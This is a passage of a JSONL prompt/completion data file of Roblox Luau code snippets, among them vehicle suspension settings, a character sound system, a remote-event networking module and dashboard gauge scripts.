force\n\tTune.FExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 1.5\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "--------------------------------------------------", "completion": "\nscript.Parent.Values.RPM.Changed:connect(function()\n\tintach.Rotation = -65 + script.Parent.Values.RPM.Value * 250 / 8000\nend)\n\n"} +{"prompt": "------------------------------------------------", "completion": "\n\nlocal screenGuis = {}\nlocal freeCamEnabled = false\n\nlocal stateRot = Vector2.new()\nlocal panDeltaGamepad = Vector2.new()\nlocal panDeltaMouse = Vector2.new()\n\nlocal velSpring = Spring.new(7/9, 1/3, 1, Vector3.new())\nlocal rotSpring = Spring.new(7/9, 1/3, 1, Vector2.new())\nlocal fovSpring = Spring.new(2, 1/3, 1, 0)\n\nlocal letterbox = LETTERBOX and CreateLetterBox()\n\nlocal gp_x = 0\nlocal gp_z = 0\nlocal gp_l1 = 0\nlocal gp_r1 = 0\nlocal rate_fov = 0\n\nlocal SpeedModifier = 1\n"} +{"prompt": "-- map a value from one range to another", "completion": "\nlocal function map(x: number, inMin: number, inMax: number, outMin: number, outMax: number): number\n\treturn (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin\nend\n\nlocal function playSound(sound: Sound)\n\tsound.TimePosition = 0\n\tsound.Playing = true\nend\n\nlocal function shallowCopy(t)\n\tlocal out = {}\n\tfor k, v in pairs(t) do\n\t\tout[k] = v\n\tend\n\treturn out\nend\n\nlocal function initializeSoundSystem(instances)\n\tlocal player = instances.player\n\tlocal humanoid = instances.humanoid\n\tlocal rootPart = instances.rootPart\n\n\tlocal sounds: {[string]: Sound} = {}\n\n\t-- initialize sounds\n\tfor name: string, props: {[string]: any} in pairs(SOUND_DATA) do\n\t\tlocal sound: Sound = Instance.new(\"Sound\")\n\t\tsound.Name = name\n\n\t\t-- set default values\n\t\tsound.Archivable = false\n\t\tsound.RollOffMinDistance = 5\n\t\tsound.RollOffMaxDistance = 150\n\t\tsound.Volume = 0.65\n\n\t\tfor propName, propValue: any in pairs(props) do\n\t\t\t(sound :: any)[propName] = propValue\n\t\tend\n\n\t\tsound.Parent = rootPart\n\t\tsounds[name] = sound\n\tend\n\n\tlocal playingLoopedSounds: {[Sound]: boolean?} = {}\n\n\tlocal function stopPlayingLoopedSounds(except: Sound?)\n\t\tfor sound in pairs(shallowCopy(playingLoopedSounds)) do\n\t\t\tif sound ~= except then\n\t\t\t\tsound.Playing = false\n\t\t\t\tplayingLoopedSounds[sound] = nil\n\t\t\tend\n\t\tend\n\tend\n\n\t-- state transition callbacks.\n\tlocal stateTransitions: {[Enum.HumanoidStateType]: () -> ()} = {\n\t\t[Enum.HumanoidStateType.FallingDown] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.GettingUp] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.GettingUp)\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Jumping] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.Jumping)\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Swimming] = function()\n\t\t\tlocal verticalSpeed = math.abs(rootPart.AssemblyLinearVelocity.Y)\n\t\t\tif verticalSpeed > 0.1 then\n\t\t\t\tsounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)\n\t\t\t\tplaySound(sounds.Splash)\n\t\t\tend\n\t\t\tstopPlayingLoopedSounds(sounds.Swimming)\n\t\t\tsounds.Swimming.Playing = true\n\t\t\tplayingLoopedSounds[sounds.Swimming] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Freefall] = function()\n\t\t\tsounds.FreeFalling.Volume = 0\n\t\t\tstopPlayingLoopedSounds(sounds.FreeFalling)\n\t\t\tplayingLoopedSounds[sounds.FreeFalling] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Landed] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tlocal verticalSpeed = math.abs(rootPart.AssemblyLinearVelocity.Y)\n\t\t\tif verticalSpeed > 75 then\n\t\t\t\tsounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)\n\t\t\t\tplaySound(sounds.Landing)\n\t\t\tend\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Running] = function()\n\t\t\tstopPlayingLoopedSounds(sounds.Running)\n\t\t\tsounds.Running.Playing = true\n\t\t\tplayingLoopedSounds[sounds.Running] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Climbing] = function()\n\t\t\tlocal sound = sounds.Climbing\n\t\t\tif math.abs(rootPart.AssemblyLinearVelocity.Y) > 0.1 then\n\t\t\t\tsound.Playing = true\n\t\t\t\tstopPlayingLoopedSounds(sound)\n\t\t\telse\n\t\t\t\tstopPlayingLoopedSounds()\n\t\t\tend\n\t\t\tplayingLoopedSounds[sound] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Seated] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Dead] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.Died)\n\t\tend,\n\t}\n\n\t-- updaters for looped sounds\n\tlocal loopedSoundUpdaters: {[Sound]: (number, Sound, Vector3) -> ()} = {\n\t\t[sounds.Climbing] = function(dt: number, sound: Sound, vel: Vector3)\n\t\t\tsound.Playing = vel.Magnitude > 0.1\n\t\tend,\n\n\t\t[sounds.FreeFalling] = function(dt: number, sound: Sound, vel: Vector3): ()\n\t\t\tif vel.Magnitude > 75 then\n\t\t\t\tsound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)\n\t\t\telse\n\t\t\t\tsound.Volume = 0\n\t\t\tend\n\t\tend,\n\n\t\t[sounds.Running] = function(dt: number, sound: Sound, vel: Vector3)\n\t\t\tsound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5\n\t\tend,\n\t}\n\n\t-- state substitutions to avoid duplicating entries in the state table\n\tlocal stateRemap: {[Enum.HumanoidStateType]: Enum.HumanoidStateType} = {\n\t\t[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,\n\t}\n\n\tlocal activeState: Enum.HumanoidStateType = stateRemap[humanoid:GetState()] or humanoid:GetState()\n\n\tlocal stateChangedConn = humanoid.StateChanged:Connect(function(_, state)\n\t\tstate = stateRemap[state] or state\n\n\t\tif state ~= activeState then\n\t\t\tlocal transitionFunc: () -> () = stateTransitions[state]\n\n\t\t\tif transitionFunc then\n\t\t\t\ttransitionFunc()\n\t\t\tend\n\n\t\t\tactiveState = state\n\t\tend\n\tend)\n\n\tlocal steppedConn = RunService.Stepped:Connect(function(_, worldDt: number)\n\t\t-- update looped sounds on stepped\n\t\tfor sound in pairs(playingLoopedSounds) do\n\t\t\tlocal updater: (number, Sound, Vector3) -> () = loopedSoundUpdaters[sound]\n\n\t\t\tif updater then\n\t\t\t\tupdater(worldDt, sound, rootPart.AssemblyLinearVelocity)\n\t\t\tend\n\t\tend\n\tend)\n\n\tlocal function terminate()\n\t\tstateChangedConn:Disconnect()\n\t\tsteppedConn:Disconnect()\n\n\t\t-- Unparent all sounds and empty sounds table\n\t\t-- This is needed in order to support the case where initializeSoundSystem might be called more than once for the same player,\n\t\t-- which might happen in case player character is unparented and parented back on server and reset-children mechanism is active.\n\t\tfor name: string, sound: Sound in pairs(sounds) do\n\t\t\tsound:Destroy()\n\t\tend\n\t\ttable.clear(sounds)\n\tend\n\n\treturn terminate\nend\n\nlocal binding = AtomicBinding.new({\n\thumanoid = \"Humanoid\",\n\trootPart = \"HumanoidRootPart\",\n}, initializeSoundSystem)\n\nlocal playerConnections = {}\n\nlocal function characterAdded(character)\n\tbinding:bindRoot(character)\nend\n\nlocal function characterRemoving(character)\n\tbinding:unbindRoot(character)\nend\n\nlocal function playerAdded(player: Player)\n\tlocal connections = playerConnections[player]\n\tif not connections then\n\t\tconnections = {}\n\t\tplayerConnections[player] = connections\n\tend\n\n\tif player.Character then\n\t\tcharacterAdded(player.Character)\n\tend\n\ttable.insert(connections, player.CharacterAdded:Connect(characterAdded))\n\ttable.insert(connections, player.CharacterRemoving:Connect(characterRemoving))\nend\n\nlocal function playerRemoving(player: Player)\n\tlocal connections = playerConnections[player]\n\tif connections then\n\t\tfor _, conn in ipairs(connections) do\n\t\t\tconn:Disconnect()\n\t\tend\n\t\tplayerConnections[player] = nil\n\tend\n\n\tif player.Character then\n\t\tcharacterRemoving(player.Character)\n\tend\nend\n\nfor _, player in ipairs(Players:GetPlayers()) do\n\ttask.spawn(playerAdded, player)\nend\nPlayers.PlayerAdded:Connect(playerAdded)\nPlayers.PlayerRemoving:Connect(playerRemoving)\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nlocal v1 = Random.new();\nreturn function()\n\treturn string.gsub(u1.HttpService:GenerateGUID(false), \"-\", \"\");\nend;\n"} +{"prompt": "--Boss script (do not use on simple npc)", "completion": "\n\tscript.Parent.HealthChanged:Connect(function()\n\t\tif script.Parent.Health == 0 then\n\t\t\tgame.Workspace.Playing.Value = -1\n\t\tend\nend)\n"} +{"prompt": "--Note: Ignore the blue lines under workspace. Keep it capitalized.", "completion": "\n\n\n\n\n\n\n"} +{"prompt": "--[[\n\t[Horizontal and Vertical limits for head and body tracking.]\n\t[Setting to 0 negates tracking, setting to 1 is normal tracking, and setting to anything higher than 1 goes past real life head/body rotation capabilities.]\n--]]", "completion": "\nlocal HeadHorFactor = 0.9\nlocal HeadVertFactor = 0.6\nlocal BodyHorFactor = 0.8\nlocal BodyVertFactor = 0.6\n"} +{"prompt": "--Turbocharger", "completion": "\nlocal BOV_Loudness = 2\t--volume of the BOV (not exact volume so you kinda have to experiment with it)\nlocal BOV_Pitch = 0.9\t--max pitch of the BOV (not exact so might have to mess with it)\n"} +{"prompt": "--[[Status Vars]]", "completion": "\n\n\tlocal _IsOn = _Tune.AutoStart\n\tif _Tune.AutoStart then script.Parent.IsOn.Value=true end\n\t\n\tlocal _GSteerT=0\n\tlocal _GSteerC=0\n\tlocal _GThrot=0\n\tlocal _GBrake=0\n\t\n\tlocal _ClutchOn = true\n\tlocal _ClPressing = false\n\tlocal _RPM = 0\n\tlocal _HP = 0\n\tlocal _OutTorque = 0\n\tlocal _CGear = 0\n\t\n\tlocal _TMode = _Tune.TransModes[1]\n\t\n\tlocal _MSteer = false\n\tlocal _SteerL = false\n\tlocal _SteerR = false\n\tlocal _PBrake = false\n\tlocal _TCS = _Tune.TCSEnabled\n\tlocal _TCSActive = false\n\tlocal _ABS = _Tune.ABSEnabled\n\tlocal _ABSActive = false\n\t\n\tlocal FlipWait=tick()\n\tlocal FlipDB=false\n\t\n\tlocal _InControls = false\n\n\n"} +{"prompt": "-- METHODS", "completion": "\nfunction Tracker:_preventMultiFrameUpdates(methodName, ...)\n\t-- This prevents the funtion being called twice within a single frame\n\t-- If called more than once, the function will initally be delayed again until the next frame, then all others cancelled\n\tself._preventMultiDetails = self._preventMultiDetails or {}\n\tlocal detail = self._preventMultiDetails[methodName]\n\tif not detail then\n\t\tdetail = {\n\t\t\tcalling = false,\n\t\t\tcallsThisFrame = 0,\n\t\t\tupdatedThisFrame = false,\n\t\t}\n\t\tself._preventMultiDetails[methodName] = detail\n\tend\n\n\tdetail.callsThisFrame += 1\n\tif detail.callsThisFrame == 1 then\n\t\tlocal args = table.pack(...)\n\t\ttask.defer(function()\n\t\t\tlocal newCallsThisFrame = detail.callsThisFrame\n\t\t\tdetail.callsThisFrame = 0\n\t\t\tif newCallsThisFrame > 1 then\n\t\t\t\tself[methodName](self, unpack(args))\n\t\t\tend\n\t\tend)\n\t\treturn false\n\tend\n\treturn true\nend\n\nfunction Tracker:update()\n\tif self:_preventMultiFrameUpdates(\"update\") then\n\t\treturn\n\tend\n\t\n\tself.totalVolume = 0\n\tself.parts = {}\n\tself.partToItem = {}\n\tself.items = {}\n\t\n\t-- This tracks the bodyparts of a character\n\tfor character, _ in pairs(self.characters) do\n\t\tlocal charSize = Tracker.getCharacterSize(character)\n\t\tif not charSize then\n\t\t\tcontinue\n\t\tend\n\t\tlocal rSize = charSize\n\t\tlocal charVolume = rSize.X*rSize.Y*rSize.Z\n\t\tself.totalVolume += charVolume\n\t\t\n\t\tlocal characterJanitor = self.janitor:add(Janitor.new(), \"destroy\", \"trackCharacterParts-\"..self.name)\n\t\tlocal function updateTrackerOnParentChanged(instance)\n\t\t\tcharacterJanitor:add(instance.AncestryChanged:Connect(function()\n\t\t\t\tif not instance:IsDescendantOf(game) then\n\t\t\t\t\tif instance.Parent == nil and characterJanitor ~= nil then\n\t\t\t\t\t\tcharacterJanitor:destroy()\n\t\t\t\t\t\tcharacterJanitor = nil\n\t\t\t\t\t\tself:update()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend), \"Disconnect\")\n\t\tend\n\n\t\tfor _, part in pairs(character:GetChildren()) do\n\t\t\tif part:IsA(\"BasePart\") and not Tracker.bodyPartsToIgnore[part.Name] then\n\t\t\t\tself.partToItem[part] = character\n\t\t\t\ttable.insert(self.parts, part)\n\t\t\t\tupdateTrackerOnParentChanged(part)\n\t\t\tend\n\t\tend\n\t\tupdateTrackerOnParentChanged(character)\n\t\ttable.insert(self.items, character)\n\tend\n\n\t-- This tracks any additional baseParts\n\tfor additionalPart, _ in pairs(self.baseParts) do\n\t\tlocal rSize = additionalPart.Size\n\t\tlocal partVolume = rSize.X*rSize.Y*rSize.Z\n\t\tself.totalVolume += partVolume\n\t\tself.partToItem[additionalPart] = additionalPart\n\t\ttable.insert(self.parts, additionalPart)\n\t\ttable.insert(self.items, additionalPart)\n\tend\n\t\n\t-- This creates the whitelist so that\n\tself.whitelistParams = OverlapParams.new()\n\tself.whitelistParams.FilterType = Enum.RaycastFilterType.Whitelist\n\tself.whitelistParams.MaxParts = #self.parts\n\tself.whitelistParams.FilterDescendantsInstances = self.parts\nend\n\n\n\nreturn Tracker\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nend)();\nlocal l__Events__1 = u1.Assets.Events;\nlocal v2 = {};\nlocal u2 = u1.RunService:IsServer();\nfunction v2.Fire(p1, p2, ...)\n\tlocal v3 = nil;\n\tp1 = string.lower(p1);\n\tv3 = GetRemote(p1);\n\tif not u2 then\n\t\tv3:FireServer((CreatePacket(p2, ...)));\n\t\treturn;\n\tend;\n\tif not p2:FindFirstChild(\"__LOADED\") then\n\t\treturn;\n\tend;\n\tv3:FireClient(p2, (CreatePacket(...)));\nend;\nfunction v2.FireAll(p3, ...)\n\tp3 = string.lower(p3);\n\tlocal v4 = GetRemote(p3);\n\tlocal v5 = CreatePacket(...);\n\tlocal v6 = {};\n\tlocal v7 = game.Players:GetPlayers();\n\n\tfor v8, v9 in ipairs(v7) do\n\t\tif not v8 then\n\t\t\tbreak;\n\t\tend;\n\t\tif v9:FindFirstChild(\"__LOADED\") then\n\t\t\ttable.insert(v6, v9);\n\t\tend;\t\n\tend;\n\tif #v7 <= #v6 then\n\t\tv4:FireAllClients(v5);\n\t\treturn;\n\tend;\n\n\tfor v11, v12 in ipairs(v6) do\n\t\tif not v11 then\n\t\t\tbreak;\n\t\tend;\n\t\tcoroutine.wrap(function()\n\t\t\tv4:FireClient(v12, v5);\n\t\tend)();\t\n\tend;\nend;\nfunction v2.Invoke(p4, p5, ...)\n\tp4 = string.lower(p4);\n\tlocal v14 = GetRemote(p4, true);\n\tif not u2 then\n\t\tu1.Signal.Fire(\"CORE Network Invoke\", p4);\n\tend;\n\tif not u2 then\n\t\treturn DecodePacket(v14:InvokeServer((CreatePacket(p5, ...))));\n\tend;\n\tif not p5:FindFirstChild(\"__LOADED\") then\n\t\treturn;\n\tend;\n\treturn DecodePacket(v14:InvokeClient(p5, (CreatePacket(...))));\nend;\nfunction v2.Fired(p6)\n\tp6 = string.lower(p6);\n\treturn GetEvent(p6).Event;\nend;\nfunction v2.Invoked(p7)\n\tp7 = string.lower(p7);\n\treturn GetEvent(p7, true);\nend;\nfunction v2.Recieve(p8, ...)\n\tlocal v15 = { ... };\n\tif p8 == \"a\" then\n\t\tGetRemote(unpack(v15));\n\t\treturn;\n\tend;\n\tif p8 == \"b\" then\n\t\tGetRemote(unpack(v15), true);\n\t\treturn;\n\tend;\n\tif p8 == \"c\" then\n\t\tlocal v16, v17 = unpack(v15);\n\t\tGetEvent(v16):Fire(DecodePacket(v17));\n\t\treturn;\n\tend;\n\tif p8 == \"d\" then\n\t\tlocal v18, v19 = unpack(v15);\n\t\treturn CreatePacket(GetEvent(v18, true):Invoke(DecodePacket(v19)));\n\tend;\n\tif p8 == \"e\" then\n\t\tlocal v20, v21, v22 = unpack(v15);\n\t\tGetEvent(v20):Fire(v21, DecodePacket(v22));\n\t\treturn;\n\tend;\n\tif p8 ~= \"f\" then\n\t\treturn;\n\tend;\n\tlocal v23, v24, v25 = unpack(v15);\n\treturn CreatePacket(GetEvent(v23, true):Invoke(v24, DecodePacket(v25)));\nend;\nfunction CreatePacket(...)\n\treturn { ... };\nend;\nfunction DecodePacket(p9)\n\treturn unpack(p9);\nend;\nlocal u3 = {};\nfunction GetEvent(p10, p11)\n\tp10 = string.lower(p10);\n\tlocal v26 = u3[p10];\n\tif not v26 then\n\t\tlocal v27 = \"BindableEvent\";\n\t\tif p11 then\n\t\t\tv27 = \"BindableFunction\";\n\t\tend;\n\t\tv26 = Instance.new(v27);\n\t\tv26.Name = p10;\n\t\tv26.Parent = script;\n\t\tu3[p10] = v26;\n\tend;\n\treturn v26;\nend;\nlocal l__MAIN__4 = l__Events__1:WaitForChild(\"MAIN\");\nfunction GetRemote(p12, p13)\n\tp12 = string.lower(p12);\n\tlocal v28 = l__Events__1:FindFirstChild(p12);\n\tif not v28 then\n\t\tif u2 then\n\t\t\tlocal v29 = \"RemoteEvent\";\n\t\t\tif p13 then\n\t\t\t\tv29 = \"RemoteFunction\";\n\t\t\tend;\n\t\t\tlocal v30 = Instance.new(v29);\n\t\t\tv30.Name = p12;\n\t\t\tv30.Parent = l__Events__1;\n\t\t\tListenRemote(p12, p13);\n\t\t\treturn v30;\n\t\tend;\n\t\tlocal v31 = \"a\";\n\t\tif p13 then\n\t\t\tv31 = \"b\";\n\t\tend;\n\t\tl__MAIN__4:FireServer(v31, p12);\n\t\twhile true do\n\t\t\tif not l__Events__1:FindFirstChild(p12) then\n\n\t\t\telse\n\t\t\t\tbreak;\n\t\t\tend;\n\t\t\tu1.RenderStepped();\t\t\n\t\tend;\n\t\tv28 = l__Events__1:FindFirstChild(p12);\n\t\tListenRemote(p12, p13);\n\tend;\n\treturn v28;\nend;\nlocal u5 = {};\nfunction ListenRemote(p14, p15)\n\tlocal v32 = nil;\n\tp14 = string.lower(p14);\n\tv32 = GetRemote(p14, p15);\n\tif u5[p14] then\n\t\treturn;\n\tend;\n\tu5[p14] = true;\n\tif u2 then\n\t\tif p15 then\n\t\t\tfunction v32.OnServerInvoke(p16, ...)\n\t\t\t\treturn v2.Recieve(\"f\", p14, p16, ...);\n\t\t\tend;\n\t\telse\n\t\t\tv32.OnServerEvent:Connect(function(p17, ...)\n\t\t\t\tv2.Recieve(\"e\", p14, p17, ...);\n\t\t\tend);\n\t\tend;\n\telseif p15 then\n\t\tfunction v32.OnClientInvoke(...)\n\t\t\tif not u2 then\n\t\t\t\tu1.Signal.Fire(\"CORE Network Invoked\", p14);\n\t\t\tend;\n\t\t\treturn v2.Recieve(\"d\", p14, ...);\n\t\tend;\n\telse\n\t\tv32.OnClientEvent:Connect(function(...)\n\t\t\tv2.Recieve(\"c\", p14, ...);\n\t\tend);\n\tend;\nend;\nfunction ClientInit()\n\n\tfor v33, v34 in ipairs(l__Events__1:GetChildren()) do\n\t\tif v33 then\n\n\t\telse\n\t\t\tbreak;\n\t\tend;\n\t\tif v34.Name ~= \"MAIN\" then\n\t\t\tListenRemote(v34.Name, v34:IsA(\"RemoteFunction\"));\n\t\tend;\t\n\tend;\nend;\nif u2 then\n\tl__MAIN__4.OnServerEvent:Connect(function(p18, p19, p20, ...)\n\t\tv2.Recieve(p19, p20, ...);\n\tend);\nend\n\n"} +{"prompt": "--script.Parent.Speed.MouseButton1Click:connect(function()\n--\tif currentUnits==#UNITS then\n--\t\tcurrentUnits = 1\n--\telse\n--\t\tcurrentUnits = currentUnits+1\n--\tend\n--\tfor i,v in pairs(script.Parent.Spd.G:GetChildren()) do\n--\t\tv.Visible=v.Name==UNITS[currentUnits].units or v.Name==\"Needle\" or v.Name==\"lns\"\n--\tend\n--\tscript.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. \" \"..UNITS[currentUnits].units\n--end)", "completion": "\n\nmouse.KeyDown:connect(function(key)\n\tif key==\"v\" then\n\t\tscript.Parent.Visible=not script.Parent.Visible\n\tend\nend)\n\nscript.Parent.Parent.Values.Gear.Changed:Connect(function()\n\tlocal gearText = script.Parent.Parent.Values.Gear.Value\n\tif gearText == 0 then \n\t\tgearText = \"N\"\n\t\tcar.Body.Dash.D.G.Tac.Gear.Text = \"N\"\n\t\tcar.DriveSeat.Filter:FireServer('reverse',false)\n\telseif gearText == -1 then\n\t\tgearText = \"R\"\n\t\tcar.Body.Dash.D.G.Tac.Gear.Text = \"R\"\n\t\tcar.DriveSeat.Filter:FireServer('reverse',true)\n\tend\n\tcar.Body.Dash.D.G.Tac.Gear.Text = gearText\n\tcar.Body.Dash.D.G.TacB.Gear.Text = gearText\n\tscript.Parent.Tac.G.Gear.Text = gearText\nend)\n\nwhile wait() do\n\tlocal speed = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude)\n\tlocal kph = math.floor(UNITS[2].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude)\n\tfor i, v in pairs(script.Parent.Tac.G:GetChildren()) do\n\t\tif v:IsA(\"Frame\") and v.Name ~= \"Unit\" then\n\t\t\tlocal rt = math.abs(script.Parent.Tac.G.Needle.AbsoluteRotation - (v.AbsoluteRotation))\n\t\t\tv.Num.TextSize = math.max(18,(18 - (((rt/4)^2)-18)))\n\t\tend\n\tend\n\tfor i, u in pairs(script.Parent.Spd.G:GetChildren()) do\n\t\tfor j,v in pairs(u:GetChildren()) do\n\t\t\tif v:IsA(\"Frame\") and v.Name ~= \"Unit\" then\n\t\t\t\tlocal st = math.abs(script.Parent.Spd.G.Needle.AbsoluteRotation - (v.AbsoluteRotation))\n\t\t\t\tif v:FindFirstChild(\"Num\") then\n\t\t\t\t\tv.Num.TextSize = math.max(16,(16 - (((st/4)^2)-16)))\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\tcar.Body.Dash.S.G.HB.S.HP.Text = (math.floor(script.Parent.Parent.Values.Horsepower.Value*0.75))\n\tcar.Body.Dash.S.G.HB.S.Spd.Text = kph\nend\n"} +{"prompt": "-- setup emote chat hook", "completion": "\ngame:GetService(\"Players\").LocalPlayer.Chatted:connect(function(msg)\n\tlocal emote = \"\"\n\tif (string.sub(msg, 1, 3) == \"/e \") then\n\t\temote = string.sub(msg, 4)\n\telseif (string.sub(msg, 1, 7) == \"/emote \") then\n\t\temote = string.sub(msg, 8)\n\tend\n\t\n\tif (pose == \"Standing\" and emoteNames[emote] ~= nil) then\n\t\tplayAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)\n\tend\nend)\n"} +{"prompt": "-- Import relevant references", "completion": "\nlocal Selection = Core.Selection\nlocal Support = Core.Support\nlocal Security = Core.Security\n"} +{"prompt": "--[[function ForEach(parent,func)\n\tif type(parent)=='table' then\n\t\tfor _,i in pairs(parent) do\n\t\t\tfunc(i)\n\t\tend\n\telse\n\t\tfor _,i in pairs(parent:GetChildren()) do\n\t\t\tfunc(i)\n\t\tend\n\tend\nend]]", "completion": "\n\nfunction MakeValue(class,name,value,parent)\n\tlocal temp = Instance.new(class)\n\ttemp.Name = name\n\ttemp.Value = value\n\ttemp.Parent = parent\n\treturn temp\nend\t\n"} +{"prompt": "-- Folders --", "completion": "\nlocal Remotes = RS.Remotes\nlocal Modules = RS.Modules\n"} +{"prompt": "--Constructor and destructor", "completion": "\nfunction spiketrap:New(object)\n\t--Initialize meta reference\n\tlocal self = setmetatable({}, {__index = spiketrap})\n\n\t--Use object information\n\tself.object = object\n\tself.root = object.PrimaryPart\n\n\t--Attach functions\n\tself.touch_player = TouchPlayer\n\n\treturn self\nend\n\nfunction spiketrap:Destroy()\n\nend\n\nreturn spiketrap\n"} +{"prompt": "--[[\n\tThese keys don't do anything except make expectations read more cleanly\n]]", "completion": "\nlocal SELF_KEYS = {\n\tto = true,\n\tbe = true,\n\tbeen = true,\n\thave = true,\n\twas = true,\n\tat = true,\n}\n"} +{"prompt": "------ VARIABLES ------", "completion": "\n\nlocal folder = script.Parent\nlocal padIsOneDirectional = folder:WaitForChild(\"OneWay\")\nlocal pad1 = folder:WaitForChild(\"Pad1\")\nlocal pad2 = folder:WaitForChild(\"Pad2\")\nlocal bounce = true\n"} +{"prompt": "---------------------------------", "completion": "\n\nlocal tool = script.Parent\nlocal player = game.Players.LocalPlayer\n\nlocal DB = false\ntool.Selected:connect(function(mouse)\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function()\n\t\tif not DB then\n\t\t\tDB = true\n\t\t\tscript.Parent.Click:FireServer()\n\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\t\t\twait(RechargeTime)\n\t\t\tDB = false\n\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\t\tend\n\tend)\nend)\n"} +{"prompt": "--workspace.Camera.FieldOfView = 70+((orderch-speed)*10)", "completion": "\n\nif carSeat.Steer ~= 0 and speed > 90 and script.Parent.Active.CC.Value == true then\n\tb = 0.5\nelse\n\tb = 1\nend\n\nif (speed*1.07)*0.621371 >= script.Parent.Storage.Limiter.Value + 0.5 then\n\txi = 0\nelse\n\txi = 1\nend\n\nif speed < 30 then \n\tscript.Parent.Active.CC.Value = false\nend\n\nif script.Parent.Active.CC.Value == true then\n\tif rpm.Value > 3500 and currentgear.Value ~= script.Parent.Storage.AmountOfGears.Value +2 and carSeat.Storage.Automatic.Value == true then\n\t\tscript.Parent.Functions.ShiftUpRequested.Value = true\n\tend\n\tif (script.Parent.Active.CC.SP.Value*1.07)*0.621371 > script.Parent.Storage.Limiter.Value then\n\t\tscript.Parent.Active.CC.SP.Value = (script.Parent.Storage.Limiter.Value/1.07)/0.621371\n\tend\n\tif speed >= script.Parent.Active.CC.SP.Value then\n\t\txi = 0\n\telse\n\t\txi = 1\n\tend\n\t\n\tthrottle.Value = 1\n\tif carSeat.Throttle == 1 then\n\t\tscript.Parent.Active.CC.SP.Value = script.Parent.Active.CC.SP.Value +0.5\n\telseif carSeat.Throttle == -1 then\n\t\tscript.Parent.Active.CC.Value = false\n\tend\nelse\n\tif rpm.Value > redline.Value 